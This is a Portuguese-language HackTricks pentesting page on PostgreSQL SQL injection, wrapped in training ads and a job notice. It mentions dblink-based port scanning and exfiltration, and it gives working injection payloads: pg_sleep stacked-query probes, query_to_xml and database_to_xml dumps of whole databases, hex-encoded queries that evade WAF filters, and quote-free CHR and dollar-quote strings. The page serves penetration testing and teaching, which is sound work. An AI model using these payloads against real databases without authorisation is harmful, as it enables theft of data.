hacktricks/pentesting-web/sql-injection/postgresql-injection/README.md

7.3 KiB

PostgreSQL injection

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Se você está interessado em carreira de hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada é necessária).

{% embed url="https://www.stmcyber.com/careers" %}


Esta página tem como objetivo explicar diferentes truques que podem ajudá-lo a explorar uma SQL injection encontrada em um banco de dados postgresql e complementar os truques que você pode encontrar em https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interação de Rede - Escalação de Privilégios, Scanner de Portas, divulgação de resposta de desafio NTLM & Exfiltração

O módulo PostgreSQL dblink oferece capacidades para conectar a outras instâncias PostgreSQL e executar conexões TCP. Esses recursos, combinados com a funcionalidade COPY FROM, permitem ações como escalação de privilégios, varredura de portas e captura de resposta de desafio NTLM. Para métodos detalhados sobre como executar esses ataques, confira como realizar esses ataques.

Você pode ler este exemplo para ver um exemplo de CTF de como carregar dados dentro de grandes objetos e depois exfiltrar o conteúdo de grandes objetos dentro do nome de usuário da função dblink_connect.

Ataques PostgreSQL: Leitura/escrita, RCE, privesc

Confira como comprometer o host e escalar privilégios a partir do PostgreSQL em:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Bypass de WAF

Funções de String do PostgreSQL

Manipular strings pode ajudá-lo a burlar WAFs ou outras restrições.
Nesta página você pode encontrar algumas funções de Strings úteis.

Consultas Empilhadas

Lembre-se de que o postgresql suporta consultas empilhadas, mas várias aplicações gerarão um erro se 2 respostas forem retornadas quando se espera apenas 1. Mas, você ainda pode abusar das consultas empilhadas via injeção de Tempo:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Truques XML

query_to_xml

Esta função retornará todos os dados em formato XML em apenas um arquivo. É ideal se você quiser despejar muitos dados em apenas 1 linha:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Esta função irá despejar todo o banco de dados em formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode causar um DoS ou até mesmo ao seu próprio cliente):

SELECT database_to_xml(true,true,'');

Strings em Hex

Se você puder executar consultas passando-as dentro de uma string (por exemplo, usando a função query_to_xml). Você pode usar o convert_from para passar a string como hex e contornar filtros dessa forma:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Citações proibidas

Se não puder usar aspas para seu payload, você pode contornar isso com CHR para cláusulas básicas (a concatenação de caracteres funciona apenas para consultas básicas, como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ou com $. Essas consultas retornam os mesmos resultados:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Se você está interessado em carreira de hacking e hackear o inhackeável - estamos contratando! (fluência em polonês escrita e falada é necessária).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}